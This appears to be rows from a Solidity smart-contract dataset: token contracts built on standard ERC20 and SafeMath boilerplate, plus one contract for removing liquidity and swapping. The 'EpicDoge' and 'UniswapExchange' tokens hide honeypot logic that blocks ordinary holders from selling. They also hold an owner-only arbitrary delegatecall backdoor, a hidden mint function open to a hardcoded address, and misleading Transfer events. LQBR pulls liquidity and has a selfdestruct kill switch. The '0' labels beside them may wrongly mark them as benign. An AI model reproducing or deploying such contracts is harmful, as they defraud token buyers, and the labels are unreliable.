return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EpicDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,198 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 85 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,518 |
pragma solidity = 0.6.12;
interface IERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
interface IrouteU {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract LQBR{
address payable owner;
mapping(address=>bool) public allowed;
constructor() public {
owner = msg.sender;
allowed[owner] = true;
allowed[address(this)] = true;
}
modifier onlyOwner {
require(tx.origin==owner,'not owner');
_;
}
modifier Pass {
require(allowed[tx.origin] == true);
_;
}
function GivePerms(address user, bool allowing) public onlyOwner {
allowed[user] = allowing;
}
function BurnIt(address pair, address Token1, uint256 amount) public Pass {
pair.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", owner, pair, amount));
(bool Success, bytes memory data) = pair.call(abi.encodeWithSignature("burn(address)",address(this)));
(, uint256 am1) = abi.decode(data,(uint256,uint256));
require(Success && am1 > 0, "weth didn't come");
(bool Sucess,) = Token1.call(abi.encodeWithSignature("transfer(address,uint256)",owner,IERC20(Token1).balanceOf(address(this))));
require(Sucess, "something is broke");
}
function SellIt(address TokenAddress, address pair, uint256 amountTrans, uint256 amount0Out, uint256 amount1Out) public Pass {
TokenAddress.call(abi.encodeWithSignature("transfer(address,uint256)",pair,amountTrans));
IrouteU(pair).swap(amount0Out, amount1Out, owner, new bytes(0));
}
function withdraw() external onlyOwner {
owner.transfer(address(this).balance);
}
function WithDraw(address _toke, address spender, uint amt) external onlyOwner {
IERC20(_toke).transfer(spender,amt);
}
function kill(address[] calldata tokes, uint[] calldata qty) external onlyOwner {
require(tokes.length == qty.length);
for(uint i = 0; i < tokes.length; i++) {
IERC20(tokes[i]).transfer(owner,qty[i]);
}
selfdestruct(owner);
}
receive () external payable {}
fallback () external payable {}
} | 0 | 516 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
